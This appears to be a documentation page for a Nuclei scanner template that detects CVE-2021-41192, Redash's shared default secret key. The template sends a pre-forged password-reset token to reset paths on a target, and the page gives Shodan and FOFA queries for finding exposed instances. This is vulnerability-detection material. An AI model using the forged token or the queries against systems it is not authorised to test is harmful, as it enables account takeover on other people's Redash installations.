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Redash Setup Configuration - Default Secrets Disclosure

ID: CVE-2021-41192

Severity: medium

Author: bananabr

Tags: cve2021,cve,hackerone,redash,auth-bypass

Description

Section titled “Description”

Redash Setup Configuration is vulnerable to default secrets disclosure (Insecure Default Initialization of Resource). If an admin sets up Redash versions <=10.0 and prior without explicitly specifying the REDASH_COOKIE_SECRET or REDASH_SECRET_KEY environment variables, a default value is used for both that is the same across all installations. In such cases, the instance is vulnerable to attackers being able to forge sessions using the known default value.

YAML Source

Section titled “YAML Source”
id: CVE-2021-41192


info:
  name: Redash Setup Configuration - Default Secrets Disclosure
  author: bananabr
  severity: medium
  description: Redash Setup Configuration is vulnerable to default secrets disclosure (Insecure Default Initialization of Resource). If an admin sets up Redash versions <=10.0 and prior without explicitly specifying the `REDASH_COOKIE_SECRET` or `REDASH_SECRET_KEY` environment variables, a default value is used for both that is the same across all installations. In such cases, the instance is vulnerable to attackers being able to forge sessions using the known default value.
  impact: |
    An attacker can gain unauthorized access to sensitive information and potentially compromise the Redash application.
  remediation: |
    Remove or update the default secrets in the Redash setup configuration file.
  reference:
    - https://hackerone.com/reports/1380121
    - https://github.com/getredash/redash/security/advisories/GHSA-g8xr-f424-h2rv
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41192
    - https://github.com/getredash/redash/commit/ce60d20c4e3d1537581f2f70f1308fe77ab6a214
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-41192
    cwe-id: CWE-1188
    epss-score: 0.00807
    epss-percentile: 0.81699
    cpe: cpe:2.3:a:redash:redash:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: redash
    product: redash
    shodan-query: http.favicon.hash:698624197
    fofa-query: icon_hash=698624197
  tags: cve2021,cve,hackerone,redash,auth-bypass


http:
  - method: GET
    path:
      - "{{BaseURL}}/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs"
      - "{{BaseURL}}/redash/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Enter your new password:"
          - "redash"
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402203d4cb6b0ce4240ea421e20217c4d328b03a9517252898cf28b0c62b3cceb9a1a02205ad9b68fcda26da12d8923752d66af28c040a2186a1982e3052190329595a96f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-41192.yaml"

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